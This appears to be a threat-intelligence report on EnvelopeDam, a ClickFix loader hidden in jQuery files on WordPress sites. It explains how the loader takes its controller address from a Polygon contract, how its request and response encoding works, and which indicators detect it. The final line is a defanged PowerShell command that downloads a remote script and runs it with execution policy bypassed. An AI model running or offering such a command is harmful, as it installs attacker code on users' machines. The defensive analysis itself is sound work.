EnvelopeDam ClickFix kit

The loader hides inside familiar JavaScript

EnvelopeDam is a website loader found inside files presented as jQuery assets. One capture placed the code at a dedicated jQuery path. A later version appended it to jquery-migrate.min.js, after the legitimate library code. A visitor can receive the loader while the page and its expected scripts still appear to work.

The builds use the same envelope design but different Polygon contracts. The later build also checks that the contract result begins with http:// or https:// before contacting it.

Polygon supplies the controller

The loader sends a read-only eth_call to Polygon with selector 0xe00fe2eb. The registered contract returns a controller address encoded as a standard ABI string.

EnvelopeDam then generates a random 16-character gid. It joins the current Unix time and page hostname, XORs that text with the repeating gid, and Base64-encodes the result as sid. The request sends gid alongside sid, giving the controller the key to decode it:

[controller]?sid=[encoded time and page hostname]&gid=[random key]

Three fields open the browser stage

The controller responds with JSON fields named i1, i2 and blob. The loader hex-decodes i1 into a repeating XOR key and i2 into ciphertext, decrypts and parses an inner JSON object, then Base64-decodes its blob value. A fallback chain named myEval runs the resulting JavaScript with new Function or eval inside the page.

What we see

Month	New sites
September	12
October	18
November so far	8

88% of EnvelopeDam sites captured since 25 September run WordPress. 24 EnvelopeDam sites also carry LenAI.

Checking a site

Inspect the original bytes of JavaScript files, including content after the expected library ending. Search for:

• a Polygon call using selector 0xe00fe2eb
• 16-character random keys paired with sid and gid request parameters
• a response object containing i1, i2 and blob
• hex decoding followed by a repeating-key XOR loop
• functions named decodeAbiString, base64ToUtf8 or myEval
• added code in jQuery or jquery-migrate.min.js

Replace the modified asset from a trusted package, remove the source of the injection and purge all caches before recapturing the logged-out page.

powershell -nop -c "$f=$env:TEMP+'\clakr.ps1';curl.exe -sk -o $f 'hxxps://birdo[.]site/LLxZY2r36FcfDdmF';powershell -ep bypass -File $f"